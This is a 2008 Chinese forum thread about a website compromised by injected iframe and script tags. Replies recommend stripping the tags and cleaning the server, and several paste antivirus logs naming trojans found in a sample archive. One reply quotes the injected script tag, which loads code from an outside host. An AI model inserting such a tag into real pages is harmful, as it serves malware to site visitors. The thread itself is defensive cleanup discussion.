大家看看，是否正常

显示全部楼层 · 发表于 2008-8-4 14:12:46

只要剥离掉对应的Iframe和script语句就可以了

显示全部楼层 · 发表于 2008-8-4 14:14:50

不是高手的觉得这个应该在网站所在的服务器杀毒，然后做好相应措施，加强安全性，防止再被挂马...

显示全部楼层 · 发表于 2008-8-4 14:15:14

删除所有的
<script src=http://yyhaomm.cn></script>

显示全部楼层 · 发表于 2008-8-4 20:51:40

[Scanning : C:\Download Files]

C:\Download Files\样本.rar<RAR>:ko.css <- Trojan.Agent.Wnu : No action
C:\Download Files\样本.rar<RAR>:ko.css<UPX>:ko.css<DLLRES>:DLLFILE0.exe <- Trojan.Spy.Delf.Dfs : No action
C:\Download Files\样本.rar<RAR>:ko.exe<UPack>:ko.exe<DLLRES>:KILL2.exe<UPack>:KILL2.exe <- Downloader.Small.Xxg : No action
C:\Download Files\样本.rar<RAR>:a2.css <- Trojan.Agent.Wnu : No action
C:\Download Files\样本.rar<RAR>:a2.css<UPX>:a2.css<DLLRES>:DLLFILE0.exe <- Trojan.Spy.Delf.Dfs : No action

Scanned objects : 15

Infected objects : 5

显示全部楼层 · 发表于 2008-8-4 20:53:41

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.PSW.Win32.GameOL.ojr
病毒： Trojan.DL.Win32.Game.a

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.56.02

显示全部楼层 · 发表于 2008-8-4 20:56:20

已删除: 木马程序 Trojan.Win32.Agent.wnu 文件: C:\Users\Niya\Downloads\样本.rar/ko.css//PE_Patch.UPX//UPX
已删除: 木马程序 Trojan-Downloader.Win32.Agent.wps 文件: C:\Users\Niya\Downloads\样本.rar/ko.exe//PE_Patch//UPack
已删除: 木马程序 Trojan.Win32.Agent.wnu 文件: C:\Users\Niya\Downloads\样本.rar/a2.css//PE_Patch.UPX//UPX

显示全部楼层 · 发表于 2008-8-4 22:05:21

江泽民~

[已鉴定] 大家看看，是否正常

回复 5楼小乔美子的帖子

回复 4楼冷冷的帖子

9/3

[已鉴定] 大家看看，是否正常

回复 5楼 小乔美子 的帖子

回复 4楼 冷冷 的帖子

9/3

回复 5楼小乔美子的帖子

回复 4楼冷冷的帖子